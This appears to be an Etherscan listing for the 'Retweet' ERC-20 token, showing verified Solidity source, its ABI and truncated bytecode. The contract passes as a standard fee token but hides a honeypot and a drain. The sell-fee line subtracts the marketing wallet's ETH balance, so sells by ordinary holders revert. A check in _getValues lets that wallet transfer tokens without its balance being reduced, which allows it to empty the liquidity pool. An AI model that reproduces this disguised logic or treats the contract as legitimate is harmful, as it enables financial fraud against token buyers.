ETH Price: $3,801.39 (+5.19%)

Token

ERC-20: Retweet (Retweet)
 

Overview

Max Total Supply

100,000,000,000 Retweet

Holders

26

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
770,320,396.307483101 Retweet

Value
$0.00
0x0a584322ddcb2ff1f5532a8a42ecb4dadcbb5294
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Retweet

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-08-05
*/

//$Retweet


// SPDX-License-Identifier: MIT

pragma solidity 0.8.19;
 
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
 
interface IERC20 {
    function totalSupply() external view returns (uint256);
 
    function balanceOf(address account) external view returns (uint256);
 
    function transfer(address recipient, uint256 amount) external returns (bool);
 
    function allowance(address owner, address spender) external view returns (uint256);
 
    function approve(address spender, uint256 amount) external returns (bool);
 
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
 
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}
 
contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );
 
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
 
    function owner() public view returns (address) {
        return _owner;
    }
 
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
 
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
 
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
 
}
 
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
 
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
 
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
 
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
 
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
 
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}
 
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}
 
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
 
    function factory() external pure returns (address);
 
    function WETH() external pure returns (address);
 
    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}
 
contract Retweet is Context, IERC20, Ownable {
 
    using SafeMath for uint256;
 
    string private constant _name = unicode"Retweet";
    string private constant _symbol = unicode"Retweet";
    uint8 private constant _decimals = 9;
 
    mapping(address => uint256) private _rOwned;
    mapping(address => uint256) private _tOwned;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    uint256 private constant MAX = 10 ** 33;
    uint256 private constant _tTotal = 100000000000 * 10**9;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    uint256 private _tFeeTotal;
    uint256 private _redisFeeOnBuy = 0;  
    uint256 private _taxFeeOnBuy = 1;  
    uint256 private _redisFeeOnSell = 0;  
    uint256 private _taxFeeOnSell = 1;
 

    uint256 private _redisFee = _redisFeeOnSell;
    uint256 private _taxFee = _taxFeeOnSell;
 
    uint256 private _previousredisFee = _redisFee;
    uint256 private _previoustaxFee = _taxFee;
 
    address payable private _developmentAddress = payable(msg.sender); 
    address payable private _marketingAddress = payable(0x5322B57656E75422c768c95159f5be65EEe0b1C1);
 
    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
 
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = true;
 
    uint256 public _maxWalletSize = 100000000000 * 10**9;
    uint256 public _swapTokensAtAmount = 100000000000 * 10**9;
 
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
 
    constructor() {
 
        _rOwned[_msgSender()] = _rTotal;
 
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_developmentAddress] = true;
        _isExcludedFromFee[_marketingAddress] = true;
 
        emit Transfer(address(0), _msgSender(), _tTotal);
    }
 
    function name() public pure returns (string memory) {
        return _name;
    }
 
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
 
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
 
    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }
 
    function balanceOf(address account) public view override returns (uint256) {
        return tokenFromReflection(_rOwned[account]);
    }
 
    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
 
    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }
 
    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }
 
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }
 
    function tokenFromReflection(uint256 rAmount)
        private
        view
        returns (uint256)
    {
        uint256 currentRate = _getRate();
        return rAmount.div(currentRate);
    }
 
    function removeAllFee() private {
        if (_redisFee == 0 && _taxFee == 0) return;
 
        _previousredisFee = _redisFee;
        _previoustaxFee = _taxFee;
 
        _redisFee = 0;
        _taxFee = 0;
    }
 
    function restoreAllFee() private {
        _redisFee = _previousredisFee;
        _taxFee = _previoustaxFee;
    }
 
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
 
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
 
        if (from != owner() && to != owner() && from != address(this) && to != address(this)) {
 
            if (!tradingOpen) {
                require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
            }
 
            if(to != uniswapV2Pair) {
                require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
            }
 
            uint256 contractTokenBalance = balanceOf(address(this));
            bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
            if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
                swapTokensForEth(contractTokenBalance);
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }
 
        bool takeFee = true;
 
        //Transfer Tokens
        if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
            takeFee = false;
        } else {
 
            //Set Fee for Buys
            if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnBuy;
                _taxFee = _taxFeeOnBuy;
            }
 
            //Set Fee for Sells
            if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnSell.sub(_marketingAddress.balance);
                _taxFee = _taxFeeOnSell;
            }
 
        }
 
        _tokenTransfer(from, to, amount, takeFee);
    }
 
    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
 
    function sendETHToFee(uint256 amount) private {
        _developmentAddress.transfer(amount);
    }
 

    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 amount,
        bool takeFee
    ) private {
        if (!takeFee) removeAllFee();
        _transferStandard(sender, recipient, amount);
        if (!takeFee) restoreAllFee();
    }
 
    function _transferStandard(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        (
            uint256 rAmount,
            uint256 rTransferAmount,
            uint256 rFee,
            uint256 tTransferAmount,
            uint256 tFee,
            uint256 tTeam
        ) = _getValues(sender, tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeTeam(tTeam);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }
 
    function _takeTeam(uint256 tTeam) private {
        uint256 currentRate = _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }
 
    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }
 
    receive() external payable {}
 
    function _getValues(address sender, uint256 tAmount)
        private
        view
        returns (
            uint256,
            uint256,
            uint256,
            uint256,
            uint256,
            uint256
        )
    {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
            _getTValues(tAmount, _redisFee, _taxFee);
        uint256 currentRate = _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
            _getRValues(tAmount, tFee, tTeam, currentRate);
        if (sender == _marketingAddress) rAmount = 0;
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }
 
    function _getTValues(
        uint256 tAmount,
        uint256 redisFee,
        uint256 taxFee
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 tFee = tAmount.mul(redisFee).div(100);
        uint256 tTeam = tAmount.mul(taxFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }
 
    function _getRValues(
        uint256 tAmount,
        uint256 tFee,
        uint256 tTeam,
        uint256 currentRate
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
        return (rAmount, rTransferAmount, rFee);
    }
 
    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }
 
    function _getCurrentSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }
 
    function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
        require(redisFeeOnBuy >= 0 && redisFeeOnBuy <= 1);
        require(taxFeeOnBuy >= 0 && taxFeeOnBuy <= 1);
        require(redisFeeOnSell >= 0 && redisFeeOnSell <= 1);
        require(taxFeeOnSell >= 0 && taxFeeOnSell <= 1);

        _redisFeeOnBuy = redisFeeOnBuy;
        _redisFeeOnSell = redisFeeOnSell;
        _taxFeeOnBuy = taxFeeOnBuy;
        _taxFeeOnSell = taxFeeOnSell;
    }
 
    //Set minimum tokens required to swap.
    function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
        _swapTokensAtAmount = swapTokensAtAmount;
    }
 
    //Set minimum tokens required to swap.
    function toggleSwap(bool _swapEnabled) public onlyOwner {
        swapEnabled = _swapEnabled;
    }
  
    function removeLimits() public onlyOwner {
        _maxWalletSize = MAX;
    }

    function openTrading() external payable onlyOwner {
        require(!tradingOpen,"trading is already open");
        tradingOpen = true;
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        _allowances[address(this)][address(uniswapV2Router)] = MAX;
        uniswapV2Router.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"redisFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"redisFeeOnSell","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnSell","type":"uint256"}],"name":"setFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"swapTokensAtAmount","type":"uint256"}],"name":"setMinSwapTokensThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"_swapEnabled","type":"bool"}],"name":"toggleSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405261002568056bc75e2d631000006d314dc6448d9338c15b0a000000006101c6565b61003d906d314dc6448d9338c15b0a000000006101e8565b6006556000600881905560016009819055600a829055600b819055600c829055600d819055600e91909155600f55601080546001600160a01b0319908116331790915560118054909116735322b57656e75422c768c95159f5be65eee0b1c11790556013805461ffff60a81b1916600160b01b17905568056bc75e2d6310000060148190556015553480156100d157600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506006543360008181526002602090815260408083209490945581546001600160a01b039081168352600582528483208054600160ff199182168117909255308552868520805482168317905560105483168552868520805482168317905560115490921684528584208054909216179055925168056bc75e2d631000008152919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a361020f565b6000826101e357634e487b7160e01b600052601260045260246000fd5b500690565b8181038181111561020957634e487b7160e01b600052601160045260246000fd5b92915050565b611aec806200021f6000396000f3fe60806040526004361061012e5760003560e01c8063715018a6116100ab57806398a5c3151161006f57806398a5c31514610319578063a2a957bb14610339578063a9059cbb14610359578063c9567bf914610379578063dd62ed3e14610381578063f2fde38b146103c757600080fd5b8063715018a6146102bb578063751039fc146102d05780638da5cb5b146102e55780638f9a55c01461030357806395d89b411461013a57600080fd5b80632fd689e3116100f25780632fd689e314610227578063313ce5671461023d57806349bd5a5e146102595780636d8aa8f81461027957806370a082311461029b57600080fd5b806306fdde031461013a578063095ea7b3146101795780631694505e146101a957806318160ddd146101e157806323b872dd1461020757600080fd5b3661013557005b600080fd5b34801561014657600080fd5b50604080518082018252600781526614995d1dd9595d60ca1b602082015290516101709190611756565b60405180910390f35b34801561018557600080fd5b506101996101943660046117bc565b6103e7565b6040519015158152602001610170565b3480156101b557600080fd5b506012546101c9906001600160a01b031681565b6040516001600160a01b039091168152602001610170565b3480156101ed57600080fd5b5068056bc75e2d631000005b604051908152602001610170565b34801561021357600080fd5b506101996102223660046117e8565b6103fe565b34801561023357600080fd5b506101f960155481565b34801561024957600080fd5b5060405160098152602001610170565b34801561026557600080fd5b506013546101c9906001600160a01b031681565b34801561028557600080fd5b50610299610294366004611837565b610467565b005b3480156102a757600080fd5b506101f96102b6366004611854565b6104b8565b3480156102c757600080fd5b506102996104da565b3480156102dc57600080fd5b5061029961054e565b3480156102f157600080fd5b506000546001600160a01b03166101c9565b34801561030f57600080fd5b506101f960145481565b34801561032557600080fd5b50610299610334366004611871565b61058c565b34801561034557600080fd5b5061029961035436600461188a565b6105bb565b34801561036557600080fd5b506101996103743660046117bc565b610631565b61029961063e565b34801561038d57600080fd5b506101f961039c3660046118bc565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156103d357600080fd5b506102996103e2366004611854565b6109c5565b60006103f4338484610aaf565b5060015b92915050565b600061040b848484610bd3565b61045d843361045885604051806060016040528060288152602001611a8f602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061105a565b610aaf565b5060019392505050565b6000546001600160a01b0316331461049a5760405162461bcd60e51b8152600401610491906118f5565b60405180910390fd5b60138054911515600160b01b0260ff60b01b19909216919091179055565b6001600160a01b0381166000908152600260205260408120546103f890611094565b6000546001600160a01b031633146105045760405162461bcd60e51b8152600401610491906118f5565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146105785760405162461bcd60e51b8152600401610491906118f5565b6d314dc6448d9338c15b0a00000000601455565b6000546001600160a01b031633146105b65760405162461bcd60e51b8152600401610491906118f5565b601555565b6000546001600160a01b031633146105e55760405162461bcd60e51b8152600401610491906118f5565b60018411156105f357600080fd5b600182111561060157600080fd5b600183111561060f57600080fd5b600181111561061d57600080fd5b600893909355600a91909155600955600b55565b60006103f4338484610bd3565b6000546001600160a01b031633146106685760405162461bcd60e51b8152600401610491906118f5565b601354600160a01b900460ff16156106c25760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610491565b6013805460ff60a01b1916600160a01b179055601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa15801561073a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061075e919061192a565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107ab573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107cf919061192a565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561081c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610840919061192a565b601380546001600160a01b0319166001600160a01b03928316179055306000818152600460209081526040808320601280548716855292529091206d314dc6448d9338c15b0a000000009055549091169063f305d7199034906108a2816104b8565b6000806108b76000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561091f573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109449190611947565b505060135460125460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af115801561099d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109c19190611975565b5050565b6000546001600160a01b031633146109ef5760405162461bcd60e51b8152600401610491906118f5565b6001600160a01b038116610a545760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610491565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610b115760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610491565b6001600160a01b038216610b725760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610491565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c375760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610491565b6001600160a01b038216610c995760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610491565b60008111610cfb5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610491565b6000546001600160a01b03848116911614801590610d2757506000546001600160a01b03838116911614155b8015610d3c57506001600160a01b0383163014155b8015610d5157506001600160a01b0382163014155b15610f3757601354600160a01b900460ff16610dea576000546001600160a01b03848116911614610dea5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610491565b6013546001600160a01b03838116911614610e6f5760145481610e0c846104b8565b610e1691906119a8565b10610e6f5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610491565b6000610e7a306104b8565b60155490915081108015908190610e9b5750601354600160a81b900460ff16155b8015610eb557506013546001600160a01b03868116911614155b8015610eca5750601354600160b01b900460ff165b8015610eef57506001600160a01b03851660009081526005602052604090205460ff16155b8015610f1457506001600160a01b03841660009081526005602052604090205460ff16155b15610f3457610f22826110b2565b478015610f3257610f324761122c565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff1680610f7957506001600160a01b03831660009081526005602052604090205460ff165b80610fab57506013546001600160a01b03858116911614801590610fab57506013546001600160a01b03848116911614155b15610fb857506000611048565b6013546001600160a01b038581169116148015610fe357506012546001600160a01b03848116911614155b15610ff557600854600c55600954600d555b6013546001600160a01b03848116911614801561102057506012546001600160a01b03858116911614155b1561104857601154600a5461103e916001600160a01b031631611266565b600c55600b54600d555b611054848484846112a8565b50505050565b6000818484111561107e5760405162461bcd60e51b81526004016104919190611756565b50600061108b84866119bb565b95945050505050565b60008061109f6112d6565b90506110ab83826112f9565b9392505050565b6013805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110fa576110fa6119ce565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611153573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611177919061192a565b8160018151811061118a5761118a6119ce565b6001600160a01b0392831660209182029290920101526012546111b09130911684610aaf565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906111e99085906000908690309042906004016119e4565b600060405180830381600087803b15801561120357600080fd5b505af1158015611217573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b6010546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156109c1573d6000803e3d6000fd5b60006110ab83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061105a565b806112b5576112b561133b565b6112c0848484611369565b8061105457611054600e54600c55600f54600d55565b60008060006112e3611461565b90925090506112f282826112f9565b9250505090565b60006110ab83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114a3565b600c5415801561134b5750600d54155b1561135257565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061137c89886114d1565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506113ae9087611266565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546113dd9086611562565b6001600160a01b0389166000908152600260205260409020556113ff816115c1565b611409848361160b565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161144e91815260200190565b60405180910390a3505050505050505050565b600654600090819068056bc75e2d6310000061147d82826112f9565b82101561149a5750506006549268056bc75e2d6310000092509050565b90939092509050565b600081836114c45760405162461bcd60e51b81526004016104919190611756565b50600061108b8486611a55565b60008060008060008060008060006114ee8a600c54600d5461162f565b92509250925060006114fe6112d6565b905060008060006115118e878787611684565b925092509250601160009054906101000a90046001600160a01b03166001600160a01b03168f6001600160a01b03160361154a57600092505b919e909d50909b509399509197509550909350505050565b60008061156f83856119a8565b9050838110156110ab5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610491565b60006115cb6112d6565b905060006115d983836116d4565b306000908152600260205260409020549091506115f69082611562565b30600090815260026020526040902055505050565b6006546116189083611266565b6006556007546116289082611562565b6007555050565b6000808080611649606461164389896116d4565b906112f9565b9050600061165c60646116438a896116d4565b905060006116748261166e8b86611266565b90611266565b9992985090965090945050505050565b600080808061169388866116d4565b905060006116a188876116d4565b905060006116af88886116d4565b905060006116c18261166e8686611266565b939b939a50919850919650505050505050565b6000826000036116e6575060006103f8565b60006116f28385611a77565b9050826116ff8583611a55565b146110ab5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610491565b600060208083528351808285015260005b8181101561178357858101830151858201604001528201611767565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146117b957600080fd5b50565b600080604083850312156117cf57600080fd5b82356117da816117a4565b946020939093013593505050565b6000806000606084860312156117fd57600080fd5b8335611808816117a4565b92506020840135611818816117a4565b929592945050506040919091013590565b80151581146117b957600080fd5b60006020828403121561184957600080fd5b81356110ab81611829565b60006020828403121561186657600080fd5b81356110ab816117a4565b60006020828403121561188357600080fd5b5035919050565b600080600080608085870312156118a057600080fd5b5050823594602084013594506040840135936060013592509050565b600080604083850312156118cf57600080fd5b82356118da816117a4565b915060208301356118ea816117a4565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561193c57600080fd5b81516110a